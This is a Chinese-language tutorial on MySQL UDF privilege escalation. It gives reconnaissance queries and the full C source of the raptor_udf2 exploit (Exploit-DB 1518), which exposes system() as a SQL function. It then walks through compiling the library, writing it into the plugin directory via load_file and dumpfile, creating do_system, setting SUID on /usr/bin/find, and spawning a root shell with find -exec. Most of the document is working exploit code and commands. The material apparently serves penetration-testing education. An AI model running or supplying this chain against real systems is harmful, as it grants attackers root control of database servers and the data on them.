简介
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用。
动态链接库
把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。
原理
UDF提权主要是因为udf.dll文件,攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
DLL文件存放目录
mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
如果mysql大于5.1版本,没有plugin这个文件夹,需要自己创建,select @@basedir;获取安装目录
利用条件
-
拥有一个能够插入数据的mysql账户,最好是root
-
mysql需要具备写入文件的权限,
show variables like '%secure_file_priv%';
secure_file_priv NULL 表示mysql不能写入文件 /tmp 表示mysql在/tmp目录具备写的权限 [空] 表示mysql在任意目录都具备写的权限(取决于启动mysql服务的账户) - 搜索EXP进行修改,并利用
案例
以1518为例(Exploit db的编号)
信息收集
1、查询是否具备写入文件的权限
show variables like '%secure_file_priv%';
2、查询mysql的版本
select @@version;
3、查询mysql的安全目录
select @@datadir;
4、查询操作系统的版本和架构
show variables like '%compile%';
5、查询插件目录
show variables like '%plugin_dir%';
6、根据收集的信息利用EXP
/*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/tmp/raptor_udf2.so')); # 文件下载的目录
* mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; # 插件目录
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('chmod u+s /usr/bin/find');
* exit
* touch hello
* find hello -exec "/bin/sh" \;
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
// milw0rm.com [2006-02-20]
命令集合
编译操作
# 重命名
mv ./1518.c ./raptor_udf2.c
# 编译
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# 将生成的so文件上传到目标机器上
数据库操作
# 切换数据
use mysql;
# 创建名为foo的表,列为line,数据类型为BLOB(二进制大型对象)
create table foo(line blob);
# 将raptor_udf2.so文件的内容作为二进制数据插入到foo表的line列中
insert into foo values(load_file('/tmp/raptor_udf2.so')); # 文件下载的目录
# 将foo表中的所有数据导出到指定的文件中,这样可以将表的内容保存为一个文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; # 插件目录
# 创建一个do_system函数,并调用raptor_udf2.so动态链接库
create function do_system returns integer soname 'raptor_udf2.so';
# 查看用户定义函数(UDF)信息
select * from mysql.func;
/*
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
*/
# 调用恶意函数,执行SUID操作
select do_system('chmod u+s /usr/bin/find');
/*
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
*/
提权操作
# 退出数据库
# 利用find的SUID进行提权
touch hello
find hello -exec "/bin/sh" \;